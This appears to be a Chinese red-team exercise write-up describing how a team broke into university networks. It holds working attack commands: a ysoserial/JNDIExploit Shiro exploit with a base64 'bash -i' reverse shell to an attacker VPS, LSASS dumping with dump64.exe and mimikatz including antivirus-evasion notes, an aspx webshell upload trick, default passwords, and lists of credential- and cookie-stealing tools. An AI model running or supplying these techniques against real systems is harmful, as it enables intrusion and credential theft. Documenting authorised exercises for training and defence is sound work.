正如今年的xx题目,学习应从本手开始,把基础打好,才能在实战中打出妙手操作,如果眼高手低,往往会落到俗手的下场
这次攻防演练每个队伍分配不同的目标,有些队伍拿的点可以直接 nday 打,有些队伍外网打点十分困难比如我们,但分数是是统一算的,可以说不是那么的公平
不过也算是提供了些许经验,简单做一下总结,都是比较基础的东西,如有写的不正确的地方欢迎各位师傅指正
一般来说学校外网能拿直接权限的点已经很少了,web 应用大多是放在 vpn 后面,因此能弄到一个 vpn 账号可以说是事半功倍
另外还可以通过语法筛选出存在默认弱口令的系统,常用命令如下:
PLAINTEXT
1 | #google语法 |
这里队友收集到了某个目标的 vpn 账号,使用的是 姓名拼音/12345678 弱口令
进去内网后能访问的只有一个 OA 系统,测试了一下没发现什么东西,寻找其他突破口
常规的打点可通过 fofa、hunter、quake 等网络测绘平台进行资产收集,收集好后进行去重,把去重后的资产列表进行批量指纹识别,筛选出重要易打点的系统
在常规的 hw 中这些方法比较通用,但是对于教育行业来说会相对困难,有 edusrc 的存在许多通用型漏洞已经被提交修复了,因此在信息搜集的时候要多去寻找旁站和一些容易被遗漏的站点
坐了一天牢后,终于通过测绘平台找到一个比较偏的资产,直接访问是一个静态页面,但扫描目录后指纹识别一波发现是 shiro
直接工具开冲,发现有默认 key 但是无利用链
这里想到之前学习 shiro 可以无依赖利用,感觉有戏尝试一波,相关知识可学习此文章 https://www.le1a.com/posts/a5f4a9e3/
PLAINTEXT
1. | java -jar shiro_tool.jar 地址 |
通过 dnslog 测试有回显,这里有个注意点:使用 http://dnslog.cn/ 部分站点会拦截,可以换多个 dnslog 平台测试
dnslog 有回显接下来就是拿 shell 了,这里由于固化思维,之前遇到的都是 linux 系统,先入为主觉得是 Linux,结果没利用成功
这里可以通过网站快速生成 payload,https://x.hacking8.com/java-runtime.html
一开始以为是防火墙拦截,后面队友探测了一下目录结构,发现是 windows,所以这里 payload 要改变一下
Linux:
PLAINTEXT
1 | java -cp ysoserial-0.0.8-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 88 CommonsBeanutils1 "bash -c {echo,字段}|{base64,-d}|{bash,-i}" |
Windows:
PLAINTEXT
1 | java -jar JNDIExploit-1.0-SNAPSHOT.jar -i VPS地址 |
上线 cs
这里看到是 08 机器直接抓一波密码,但这里密码是空口令,不然可以通过密码复用撞一波
如果碰到有杀软的情况,可以 dump lssas 出来本地进行读取,之前测试过一波 lolbins,但大多已经不免杀了,这里提供一种方法
dump64.exe
PLAINTEXT
1 | dump64.exe <pid> c:\users\out.dmp |
卡巴斯基拦截,火绒和 360 不拦截
dump 出来后通过 mimikatz 或者其他方式进行读取
PLAINTEXT
1 | mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit |
接着可以通过 netspy 筛选可达的网段(之前用的时候没注意,才发现是天威战队大哥的工具 = =)
https://github.com/shmilylty/netspy
但这里 192、172、10 段的资产比较少,这些段主要是一些网络设备如摄像头、网关设备,拿到的仅有 web 弱口令
大华 admin/admin
锐捷 admin/admin
主站的 c 段大多是不通的,猜测是做了隔离限制,因此开始考虑如何去突破隔离,这里尝试通过后台寻找一些任意文件上传的点看能否拿下一些机器
这里比较幸运,找到一个实验平台弱口令登录进去,找到一个新增模板导入模块,修改后缀 xls 为 aspx 拿到一个 shell
并且这个机器可以访问和到达教务网段,突破了隔离限制,通过 111.25.x.0/24 段服务器信息收集、漏洞利用,抓密码撞密码时间,最终获取 211.112.x.0/24 段多个服务器权限 (c 段为虚拟数据),下面列举一些例子
redis
shiro
struts2
拿到一台机器可以根据机器上安装的软件进行对应的密码读取,如 navicat、xshell 等
https://github.com/JDArmy/SharpXDecrypt
https://github.com/RowTeam/SharpDecryptPwd
sqlserver
mysql
浏览器
HackBrowserData](https://github.com/moonD4rk/HackBrowserData)
SharpWeb](https://github.com/djhohnstein/SharpWeb)
SharpDPAPI](https://github.com/GhostPack/SharpDPAPI)
360SafeBrowsergetpass](https://github.com/hayasec/360SafeBrowsergetpass)
BrowserGhost](https://github.com/QAX-A-Team/BrowserGhost/)
Browser-cookie-steal (窃取浏览器 cookie)](https://github.com/DeEpinGh0st/Browser-cookie-steal)